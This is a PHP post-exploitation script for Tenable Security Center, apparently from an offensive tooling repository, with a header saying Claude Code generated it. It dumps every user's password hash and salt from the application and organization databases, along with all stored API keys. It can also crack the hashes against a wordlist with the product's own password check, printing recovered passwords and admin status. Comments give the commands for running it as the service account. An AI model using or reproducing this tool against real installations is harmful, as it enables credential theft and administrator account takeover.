Path: blob/master/data/post/tenable/security_center/dump_crack_hashes.php
70334 views
<?php12// generated by Claude Code3// su - tns -s /bin/bash -c '/opt/sc/support/bin/php /tmp/dump_hashes.php 2>&1'4// echo -e "test\npassword\nadmin\nwrongpass" > /tmp/test_wordlist.txt5// su - tns -s /bin/bash -c '/opt/sc/support/bin/php /tmp/dump_hashes.php -crack /tmp/test_wordlist.txt 2>&1'67$GLOBALS["root"] = "/opt/sc";8require_once "/opt/sc/src/defines.php";9require_once "/opt/sc/src/lib/AuthenticationLib.php";10dbLib::setup(1, false);1112$jsonMode = in_array("-json", $argv);13$crackMode = in_array("-crack", $argv);14$wordlist = null;1516// Find wordlist argument (value after -crack)17foreach ($argv as $i => $arg) {18if ($arg === "-crack" && isset($argv[$i+1])) {19$wordlist = $argv[$i+1];20}21}2223if ($crackMode && (!$wordlist || !file_exists($wordlist))) {24fwrite(STDERR, "Usage: php dump_hashes.php -crack /path/to/wordlist.txt [-json]\n");25exit(1);26}2728// Load users29$appdb = new PDO("sqlite:/opt/sc/application.db");30$adminUsers = $appdb->query("SELECT username FROM AdminUser")->fetchAll(PDO::FETCH_COLUMN);31$adminSet = array_map("strtolower", $adminUsers);32$users = $appdb->query("SELECT * FROM UserAuth")->fetchAll(PDO::FETCH_ASSOC);33foreach ($users as &$u) {34$u["isAdmin"] = in_array(strtolower($u["username"]), $adminSet) ? "true" : "false";35}36unset($u);3738// Also load org DB users39foreach (glob("/opt/sc/orgs/*/organization.db") as $orgdb) {40$db2 = new PDO("sqlite:$orgdb");41$tables = $db2->query("SELECT name FROM sqlite_master WHERE type='table' AND name='UserAuth'")->fetchAll(PDO::FETCH_COLUMN);42foreach ($tables as $t) {43$rows = $db2->query("SELECT * FROM $t")->fetchAll(PDO::FETCH_ASSOC);44foreach ($rows as &$row) {45$row["isAdmin"] = in_array(strtolower($row["username"]), $adminSet) ? "true" : "false";46$row["_source"] = $orgdb;47}48unset($row);49$users = array_merge($users, $rows);50}51}5253// Load API keys54$apikeys = $appdb->query("SELECT * FROM APIKey")->fetchAll(PDO::FETCH_ASSOC);5556if ($crackMode) {57// Crack mode58$cracked = [];59$fh = fopen($wordlist, "r");60$i = 0;61$start = microtime(true);62$results = [];6364while (!feof($fh)) {65$word = trim(fgets($fh));66if ($word === "") continue;67$i++;6869if ($i % 500 === 0) {70$elapsed = microtime(true) - $start;71$rate = round($i / $elapsed);72fwrite(STDERR, "[$i tried | {$rate}/sec | " . count($cracked) . "/" . count($users) . " cracked]\n");73}7475foreach ($users as $user) {76$uname = $user["username"];77$uid = $user["id"] ?? $user["userID"] ?? "?";78$key = $uid . ":" . $uname;79if (isset($cracked[$key])) continue;80try {81if (AuthenticationLib::goodPassword($user["authType"], $user["orgID"], $uname, $word, $user["password"], $user["salt"])) {82$cracked[$key] = $word;83if ($jsonMode) {84$results[] = ["id" => $uid, "username" => $uname, "password" => $word, "isAdmin" => $user["isAdmin"]];85} else {86echo "CRACKED: id=$uid username=$uname password=$word\n";87}88flush();89}90} catch (Throwable $e) { continue; }91}9293if (count($cracked) === count($users)) break;94}9596$elapsed = round(microtime(true) - $start, 2);97$rate = round($i / max($elapsed, 0.01));98fwrite(STDERR, "Done. $i words in {$elapsed}s ({$rate}/sec). " . count($cracked) . "/" . count($users) . " cracked.\n");99100if ($jsonMode) echo json_encode($results, JSON_PRETTY_PRINT) . "\n";101102} else {103// Default list mode104$results = [];105106if ($jsonMode) {107foreach ($users as $u) {108$u["_table"] = "UserAuth";109$u["_source"] = $u["_source"] ?? "application.db";110$results[] = $u;111}112foreach ($apikeys as $k) {113$k["_table"] = "APIKey";114$k["_source"] = "application.db";115$results[] = $k;116}117echo json_encode($results, JSON_PRETTY_PRINT) . "\n";118} else {119echo "\n" . str_repeat("=", 60) . "\n";120echo "TABLE: application.db.UserAuth (" . count($users) . " rows)\n";121echo str_repeat("=", 60) . "\n";122foreach ($users as $i => $row) {123echo " --- Row " . ($i+1) . " ---\n";124foreach ($row as $col => $val) echo " $col: $val\n";125}126127echo "\n" . str_repeat("=", 60) . "\n";128echo "TABLE: application.db.APIKey (" . count($apikeys) . " rows)\n";129echo str_repeat("=", 60) . "\n";130foreach ($apikeys as $i => $row) {131echo " --- Row " . ($i+1) . " ---\n";132foreach ($row as $col => $val) echo " $col: $val\n";133}134135echo "\nDONE\n";136}137}138139140